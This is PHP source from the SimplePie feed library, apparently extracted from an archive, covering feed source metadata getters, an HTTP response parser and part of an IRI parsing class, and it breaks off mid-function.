= 0) { $authors = $this->get_authors(); if (isset($authors[$key])) { return $authors[$key]; } return null; } public function get_authors() { $authors = []; foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'author') as $author) { $name = null; $uri = null; $email = null; if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0])); } if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $authors[] = $this->registry->create(Author::class, [$name, $uri, $email]); } } if ($author = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'author')) { $name = null; $url = null; $email = null; if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0])); } if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $authors[] = $this->registry->create(Author::class, [$name, $url, $email]); } } foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'creator') as $author) { $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]); } foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'creator') as $author) { $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]); } foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'author') as $author) { $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]); } if (!empty($authors)) { return array_unique($authors); } return null; } public function get_contributor($key = 0) { $contributors = $this->get_contributors(); if (isset($contributors[$key])) { return $contributors[$key]; } return null; } public function get_contributors() { $contributors = []; foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'contributor') as $contributor) { $name = null; $uri = null; $email = null; if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0])); } if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]); } } foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'contributor') as $contributor) { $name = null; $url = null; $email = null; if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0])); } if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $contributors[] = $this->registry->create(Author::class, [$name, $url, $email]); } } if (!empty($contributors)) { return array_unique($contributors); } return null; } public function get_link($key = 0, $rel = 'alternate') { $links = $this->get_links($rel); if (isset($links[$key])) { return $links[$key]; } return null; } /** * Added for parity between the parent-level and the item/entry-level. */ public function get_permalink() { return $this->get_link(0); } public function get_links($rel = 'alternate') { if (!isset($this->data['links'])) { $this->data['links'] = []; if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link')) { foreach ($links as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0])); } $keys = array_keys($this->data['links']); foreach ($keys as $key) { if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) { if (isset($this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key])) { $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]); $this->data['links'][$key] = &$this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]; } else { $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key]; } } elseif (substr($key, 0, 41) === \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY) { $this->data['links'][substr($key, 41)] = &$this->data['links'][$key]; } $this->data['links'][$key] = array_unique($this->data['links'][$key]); } } if (isset($this->data['links'][$rel])) { return $this->data['links'][$rel]; } return null; } public function get_description() { if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'subtitle')) { return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'tagline')) { return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'description')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'description')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'description')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'description')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'description')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'summary')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'subtitle')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($return[0])); } return null; } public function get_copyright() { if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'rights')) { return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'copyright')) { return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'copyright')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'rights')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'rights')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } return null; } public function get_language() { if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'language')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'language')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'language')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif (isset($this->data['xml_lang'])) { return $this->sanitize($this->data['xml_lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } return null; } public function get_latitude() { if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lat')) { return (float) $return[0]['data']; } elseif (($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[1]; } return null; } public function get_longitude() { if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'long')) { return (float) $return[0]['data']; } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lon')) { return (float) $return[0]['data']; } elseif (($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[2]; } return null; } public function get_image_url() { if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'image')) { return $this->sanitize($return[0]['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'logo')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'icon')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0])); } return null; } } class_alias('SimplePie\Source', 'SimplePie_Source'); SimplePie/src/HTTP/Parser.php000064400000035073147177035020011764 0ustar00data = $data; $this->data_length = strlen($this->data); } /** * Parse the input data * * @return bool true on success, false on failure */ public function parse() { while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) { $state = $this->state; $this->$state(); } $this->data = ''; if ($this->state === self::STATE_EMIT || $this->state === self::STATE_BODY) { return true; } $this->http_version = ''; $this->status_code = 0; $this->reason = ''; $this->headers = []; $this->body = ''; return false; } /** * Check whether there is data beyond the pointer * * @return bool true if there is further data, false if not */ protected function has_data() { return (bool) ($this->position < $this->data_length); } /** * See if the next character is LWS * * @return bool true if the next character is LWS, false if not */ protected function is_linear_whitespace() { return (bool) ($this->data[$this->position] === "\x09" || $this->data[$this->position] === "\x20" || ($this->data[$this->position] === "\x0A" && isset($this->data[$this->position + 1]) && ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20"))); } /** * Parse the HTTP version */ protected function http_version() { if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/') { $len = strspn($this->data, '0123456789.', 5); $this->http_version = substr($this->data, 5, $len); $this->position += 5 + $len; if (substr_count($this->http_version, '.') <= 1) { $this->http_version = (float) $this->http_version; $this->position += strspn($this->data, "\x09\x20", $this->position); $this->state = self::STATE_STATUS; } else { $this->state = self::STATE_ERROR; } } else { $this->state = self::STATE_ERROR; } } /** * Parse the status code */ protected function status() { if ($len = strspn($this->data, '0123456789', $this->position)) { $this->status_code = (int) substr($this->data, $this->position, $len); $this->position += $len; $this->state = self::STATE_REASON; } else { $this->state = self::STATE_ERROR; } } /** * Parse the reason phrase */ protected function reason() { $len = strcspn($this->data, "\x0A", $this->position); $this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20"); $this->position += $len + 1; $this->state = self::STATE_NEW_LINE; } /** * Deal with a new line, shifting data around as needed */ protected function new_line() { $this->value = trim($this->value, "\x0D\x20"); if ($this->name !== '' && $this->value !== '') { $this->name = strtolower($this->name); // We should only use the last Content-Type header. c.f. issue #1 if (isset($this->headers[$this->name]) && $this->name !== 'content-type') { $this->headers[$this->name] .= ', ' . $this->value; } else { $this->headers[$this->name] = $this->value; } } $this->name = ''; $this->value = ''; if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A") { $this->position += 2; $this->state = self::STATE_BODY; } elseif ($this->data[$this->position] === "\x0A") { $this->position++; $this->state = self::STATE_BODY; } else { $this->state = self::STATE_NAME; } } /** * Parse a header name */ protected function name() { $len = strcspn($this->data, "\x0A:", $this->position); if (isset($this->data[$this->position + $len])) { if ($this->data[$this->position + $len] === "\x0A") { $this->position += $len; $this->state = self::STATE_NEW_LINE; } else { $this->name = substr($this->data, $this->position, $len); $this->position += $len + 1; $this->state = self::STATE_VALUE; } } else { $this->state = self::STATE_ERROR; } } /** * Parse LWS, replacing consecutive LWS characters with a single space */ protected function linear_whitespace() { do { if (substr($this->data, $this->position, 2) === "\x0D\x0A") { $this->position += 2; } elseif ($this->data[$this->position] === "\x0A") { $this->position++; } $this->position += strspn($this->data, "\x09\x20", $this->position); } while ($this->has_data() && $this->is_linear_whitespace()); $this->value .= "\x20"; } /** * See what state to move to while within non-quoted header values */ protected function value() { if ($this->is_linear_whitespace()) { $this->linear_whitespace(); } else { switch ($this->data[$this->position]) { case '"': // Workaround for ETags: we have to include the quotes as // part of the tag. if (strtolower($this->name) === 'etag') { $this->value .= '"'; $this->position++; $this->state = self::STATE_VALUE_CHAR; break; } $this->position++; $this->state = self::STATE_QUOTE; break; case "\x0A": $this->position++; $this->state = self::STATE_NEW_LINE; break; default: $this->state = self::STATE_VALUE_CHAR; break; } } } /** * Parse a header value while outside quotes */ protected function value_char() { $len = strcspn($this->data, "\x09\x20\x0A\"", $this->position); $this->value .= substr($this->data, $this->position, $len); $this->position += $len; $this->state = self::STATE_VALUE; } /** * See what state to move to while within quoted header values */ protected function quote() { if ($this->is_linear_whitespace()) { $this->linear_whitespace(); } else { switch ($this->data[$this->position]) { case '"': $this->position++; $this->state = self::STATE_VALUE; break; case "\x0A": $this->position++; $this->state = self::STATE_NEW_LINE; break; case '\\': $this->position++; $this->state = self::STATE_QUOTE_ESCAPED; break; default: $this->state = self::STATE_QUOTE_CHAR; break; } } } /** * Parse a header value while within quotes */ protected function quote_char() { $len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position); $this->value .= substr($this->data, $this->position, $len); $this->position += $len; $this->state = self::STATE_VALUE; } /** * Parse an escaped character within quotes */ protected function quote_escaped() { $this->value .= $this->data[$this->position]; $this->position++; $this->state = self::STATE_QUOTE; } /** * Parse the body */ protected function body() { $this->body = substr($this->data, $this->position); if (!empty($this->headers['transfer-encoding'])) { unset($this->headers['transfer-encoding']); $this->state = self::STATE_CHUNKED; } else { $this->state = self::STATE_EMIT; } } /** * Parsed a "Transfer-Encoding: chunked" body */ protected function chunked() { if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body))) { $this->state = self::STATE_EMIT; return; } $decoded = ''; $encoded = $this->body; while (true) { $is_chunked = (bool) preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches); if (!$is_chunked) { // Looks like it's not chunked after all $this->state = self::STATE_EMIT; return; } $length = hexdec(trim($matches[1])); if ($length === 0) { // Ignore trailer headers $this->state = self::STATE_EMIT; $this->body = $decoded; return; } $chunk_length = strlen($matches[0]); $decoded .= substr($encoded, $chunk_length, $length); $encoded = substr($encoded, $chunk_length + $length + 2); // BC for PHP < 8.0: substr() can return bool instead of string $encoded = ($encoded === false) ? '' : $encoded; if (trim($encoded) === '0' || empty($encoded)) { $this->state = self::STATE_EMIT; $this->body = $decoded; return; } } } /** * Prepare headers (take care of proxies headers) * * @param string $headers Raw headers * @param integer $count Redirection count. Default to 1. * * @return string */ public static function prepareHeaders($headers, $count = 1) { $data = explode("\r\n\r\n", $headers, $count); $data = array_pop($data); if (false !== stripos($data, "HTTP/1.0 200 Connection established\r\n")) { $exploded = explode("\r\n\r\n", $data, 2); $data = end($exploded); } if (false !== stripos($data, "HTTP/1.1 200 Connection established\r\n")) { $exploded = explode("\r\n\r\n", $data, 2); $data = end($exploded); } return $data; } } class_alias('SimplePie\HTTP\Parser', 'SimplePie_HTTP_Parser'); SimplePie/src/IRI.php000064400000105473147177035020010376 0ustar00 [ 'port' => 674 ], 'dict' => [ 'port' => 2628 ], 'file' => [ 'ihost' => 'localhost' ], 'http' => [ 'port' => 80, 'ipath' => '/' ], 'https' => [ 'port' => 443, 'ipath' => '/' ], ]; /** * Return the entire IRI when you try and read the object as a string * * @return string */ public function __toString() { return $this->get_iri(); } /** * Overload __set() to provide access via properties * * @param string $name Property name * @param mixed $value Property value */ public function __set($name, $value) { if (method_exists($this, 'set_' . $name)) { call_user_func([$this, 'set_' . $name], $value); } elseif ( $name === 'iauthority' || $name === 'iuserinfo' || $name === 'ihost' || $name === 'ipath' || $name === 'iquery' || $name === 'ifragment' ) { call_user_func([$this, 'set_' . substr($name, 1)], $value); } } /** * Overload __get() to provide access via properties * * @param string $name Property name * @return mixed */ public function __get($name) { // isset() returns false for null, we don't want to do that // Also why we use array_key_exists below instead of isset() $props = get_object_vars($this); if ( $name === 'iri' || $name === 'uri' || $name === 'iauthority' || $name === 'authority' ) { $return = $this->{"get_$name"}(); } elseif (array_key_exists($name, $props)) { $return = $this->$name; } // host -> ihost elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } // ischeme -> scheme elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } else { trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE); $return = null; } if ($return === null && isset($this->normalization[$this->scheme][$name])) { return $this->normalization[$this->scheme][$name]; } return $return; } /** * Overload __isset() to provide access via properties * * @param string $name Property name * @return bool */ public function __isset($name) { return method_exists($this, 'get_' . $name) || isset($this->$name); } /** * Overload __unset() to provide access via properties * * @param string $name Property name */ public function __unset($name) { if (method_exists($this, 'set_' . $name)) { call_user_func([$this, 'set_' . $name], ''); } } /** * Create a new IRI object, from a specified string * * @param string $iri */ public function __construct($iri = null) { $this->set_iri($iri); } /** * Clean up */ public function __destruct() { $this->set_iri(null, true); $this->set_path(null, true); $this->set_authority(null, true); } /** * Create a new IRI object by resolving a relative IRI * * Returns false if $base is not absolute, otherwise an IRI. * * @param IRI|string $base (Absolute) Base IRI * @param IRI|string $relative Relative IRI * @return IRI|false */ public static function absolutize($base, $relative) { if (!($relative instanceof IRI)) { $relative = new IRI($relative); } if (!$relative->is_valid()) { return false; } elseif ($relative->scheme !== null) { return clone $relative; } else { if (!($base instanceof IRI)) { $base = new IRI($base); } if ($base->scheme !== null && $base->is_valid()) { if ($relative->get_iri() !== '') { if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) { $target = clone $relative; $target->scheme = $base->scheme; } else { $target = new IRI(); $target->scheme = $base->scheme; $target->iuserinfo = $base->iuserinfo; $target->ihost = $base->ihost; $target->port = $base->port; if ($relative->ipath !== '') { if ($relative->ipath[0] === '/') { $target->ipath = $relative->ipath; } elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') { $target->ipath = '/' . $relative->ipath; } elseif (($last_segment = strrpos($base->ipath, '/')) !== false) { $target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath; } else { $target->ipath = $relative->ipath; } $target->ipath = $target->remove_dot_segments($target->ipath); $target->iquery = $relative->iquery; } else { $target->ipath = $base->ipath; if ($relative->iquery !== null) { $target->iquery = $relative->iquery; } elseif ($base->iquery !== null) { $target->iquery = $base->iquery; } } $target->ifragment = $relative->ifragment; } } else { $target = clone $base; $target->ifragment = null; } $target->scheme_normalization(); return $target; } return false; } } /** * Parse an IRI into scheme/authority/path/query/fragment segments * * @param string $iri * @return array */ protected function parse_iri($iri) { $iri = trim($iri, "\x20\x09\x0A\x0C\x0D"); if (preg_match('/^((?P[^:\/?#]+):)?(\/\/(?P[^\/?#]*))?(?P[^?#]*)(\?(?P[^#]*))?(#(?P.*))?$/', $iri, $match)) { if ($match[1] === '') { $match['scheme'] = null; } if (!isset($match[3]) || $match[3] === '') { $match['authority'] = null; } if (!isset($match[5])) { $match['path'] = ''; } if (!isset($match[6]) || $match[6] === '') { $match['query'] = null; } if (!isset($match[8]) || $match[8] === '') { $match['fragment'] = null; } return $match; } // This can occur when a paragraph is accidentally parsed as a URI return false; } /** * Remove dot segments from a path * * @param string $input * @return string */ protected function remove_dot_segments($input) { $output = ''; while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') { // A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise, if (strpos($input, '../') === 0) { $input = substr($input, 3); } elseif (strpos($input, './') === 0) { $input = substr($input, 2); } // B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise, elseif (strpos($input, '/./') === 0) { $input = substr($input, 2); } elseif ($input === '/.') { $input = '/'; } // C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise, elseif (strpos($input, '/../') === 0) { $input = substr($input, 3); $output = substr_replace($output, '', intval(strrpos($output, '/'))); } elseif ($input === '/..') { $input = '/'; $output = substr_replace($output, '', intval(strrpos($output, '/'))); } // D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise, elseif ($input === '.' || $input === '..') { $input = ''; } // E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer elseif (($pos = strpos($input, '/', 1)) !== false) { $output .= substr($input, 0, $pos); $input = substr_replace($input, '', 0, $pos); } else { $output .= $input; $input = ''; } } return $output . $input; } /** * Replace invalid character with percent encoding * * @param string $string Input string * @param string $extra_chars Valid characters not in iunreserved or * iprivate (this is ASCII-only) * @param bool $iprivate Allow iprivate * @return string */ protected function replace_invalid_with_pct_encoding($string, $extra_chars, $iprivate = false) { // Normalize as many pct-encoded sections as possible $string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', [$this, 'remove_iunreserved_percent_encoded'], $string); // Replace invalid percent characters $string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string); // Add unreserved and % to $extra_chars (the latter is safe because all // pct-encoded sections are now valid). $extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%'; // Now replace any bytes that aren't allowed with their pct-encoded versions $position = 0; $strlen = strlen($string); while (($position += strspn($string, $extra_chars, $position)) < $strlen) { $value = ord($string[$position]); $character = 0; // Start position $start = $position; // By default we are valid $valid = true; // No one byte sequences are valid due to the while. // Two byte sequence: if (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $length = 1; $remaining = 0; } if ($remaining) { if ($position + $length <= $strlen) { for ($position++; $remaining; $position++) { $value = ord($string[$position]); // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $character |= ($value & 0x3F) << (--$remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte: else { $valid = false; $position--; break; } } } else { $position = $strlen - 1; $valid = false; } } // Percent encode anything invalid or not in ucschar if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of ucschar codepoints // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF || ( // Everything else not in ucschar $character > 0xD7FF && $character < 0xF900 || $character < 0xA0 || $character > 0xEFFFD ) && ( // Everything not in iprivate, if it applies !$iprivate || $character < 0xE000 || $character > 0x10FFFD ) ) { // If we were a character, pretend we weren't, but rather an error. if ($valid) { $position--; } for ($j = $start; $j <= $position; $j++) { $string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1); $j += 2; $position += 2; $strlen += 2; } } } return $string; } /** * Callback function for preg_replace_callback. * * Removes sequences of percent encoded bytes that represent UTF-8 * encoded characters in iunreserved * * @param array $match PCRE match * @return string Replacement */ protected function remove_iunreserved_percent_encoded($match) { // As we just have valid percent encoded sequences we can just explode // and ignore the first member of the returned array (an empty string). $bytes = explode('%', $match[0]); // Initialize the new string (this is what will be returned) and that // there are no bytes remaining in the current sequence (unsurprising // at the first byte!). $string = ''; $remaining = 0; // these variables will be initialized in the loop but PHPStan is not able to detect it currently $start = 0; $character = 0; $length = 0; $valid = true; // Loop over each and every byte, and set $value to its value for ($i = 1, $len = count($bytes); $i < $len; $i++) { $value = hexdec($bytes[$i]); // If we're the first byte of sequence: if (!$remaining) { // Start position $start = $i; // By default we are valid $valid = true; // One byte sequence: if ($value <= 0x7F) { $character = $value; $length = 1; } // Two byte sequence: elseif (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $remaining = 0; } } // Continuation byte: else { // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $remaining--; $character |= 